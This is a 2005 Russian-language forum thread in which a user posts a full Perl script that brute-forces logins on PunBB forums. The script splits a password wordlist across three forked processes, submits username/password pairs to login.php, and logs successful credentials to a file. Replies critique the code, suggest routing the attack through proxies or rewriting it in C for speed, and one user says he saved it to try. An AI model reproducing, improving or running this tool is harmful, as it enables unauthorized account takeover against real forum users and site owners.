Брут на перле для punbb

Discussion in 'PHP' started by ShAnKaR, 23 Aug 2005.

  1. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    брут идет в три потока, буду рад вашим коментам, исправлениям, критике
    #########################################
    PHP:
    #!/usr/bin/perl
    use LWP;
     
    unless($ARGV[0] && $ARGV[1] && $ARGV[2]){
    print(
    "use punbb.pl http://site/forum/ userfile wordlist\n");
    exit;};
     
    $url=$ARGV[0];
     
    my $ua LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);

    $userfile=$ARGV[1]; 
    $file=$ARGV[2];  

    my ($pid,$pid2); 
    $|=
    1

    if((
    $pid=fork()) && ($pid2=fork())){
     
    brut(0,$userfile,$file,$url); 

    elsif($pid && defined($pid2)){
     
    brut(1,$userfile,$file,$url);
     }
     
    elsif(defined($pid)){ 
    brut(2,$userfile,$file,$url);
     }
     else{ 
    die(
    "error fork()\n");
     }  

    sub brut

    $str=shift
    $userfile=shift
    $file=shift
    $url=shift

    open(IN,"<$file") or die("can`t open wordlist\n"); 
    my @arr=<IN>;
     
    close(IN); 
    open(IN,"<$userfile");
     
    my @ar=<IN>;
     
    close(IN); 

    $q=$str*$#arr/3;
     
    $q1=($str+1)*$#arr/3;  

    if($str==2){ 
    splice(@arr,0,$q); }
     
    elsif($str==1){
     
    splice(@arr,0,$q);
     
    splice(@arr,$q1,$#arr); }
     
    elsif($str==0){ 
    splice(@arr,$q1,$#arr); }

     
    print "$str: wordlist loaded\n";

     for(
    my $a=$a<=$#arr/3 ; $a++){
    for($u=0;$u<=$#ar;$u++){

    $user=$ar[$u];
    $user=~s/\n$//g;

     
    $pass=$arr[$a]; 
    print 
    $str.":".$pass;
     
    $pass=~ s/\n$//;

     
    $req = new HTTP::Request 'POST',$url.'login.php?action=in';
     
    $data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login'
    $req->content_type('application/x-www-form-urlencoded');
     
    $req->content($data); 
    $res $ua->request($req);
     
    $content=$res->content;

     if(
    $content=~ m/Logged in successfully/gi){

     print 
    "######################\n";
     print 
    "USER :$user\n"; print "PASS :$pass\n";
     print 
    "######################\n";
     
    open(OUT,">>out-punbb.txt");
     print 
    OUT $user.":".$pass."\n";
     
    close(OUT); 
    }}}}
     
    #1 ShAnKaR, 23 Aug 2005
    Last edited: 23 Aug 2005
  2. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Я из-за цветов код увидеть не могу...
     
  3. ais+

    ais+ New Member

    Joined:
    17 Aug 2005
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Сохранил.
    Утром будет тестится.
     
  4. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Вообще неплохо.

    1) LWP лучше не использовать, вручную строить HTTP запрос
    2)
    Очень неэстетично. Потоки (ну точнее процессы, пофигу) нужны для брута через прокси, иначе скорость практически не возрастет.
    Однако перл ты знаешь хорошо...

    3) перл бля этих делов не особо подходит, лучше просто писать для Unix на С, читай тему про мой брут для phpBB.

    4) Смысл нулевой, как и от моего брута phpBB. Я невзлюбил phpBB а ты PunBB)) Ну что он тебе плохого сделал???)))))
     
    #4 KEZ, 24 Aug 2005
    Last edited: 24 Aug 2005
  5. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Вобще-то, именно Lwpследует использовать. Т.к. правило хорошого тона.
    //отмазки типа "его может не быть" не пойдут, т.к. есть он в стандартной поставке.

    имхо он для этого идеален.
    Приведи довод в опровержение, а? ;)
     
  6. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Вашу мать,с кем я общаюсь? ))
    Может вам обьяснить почему ненужно использовать Delphi?
    Давайте тогда сразу будем все делать в виде .BAT файлов!

    А ты на перле видал pthread_ ? Думаю что нет. А ты в курсе как сделан fork() ?
    А ты знаешь что перл не везде есть? А почему все что делается под линукс - делается ПРОСТО под gcc ?
     
  7. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    ну вообще-то gcc есть еще реже

    да-да-да, а FreeBSD сделана майкрософтом...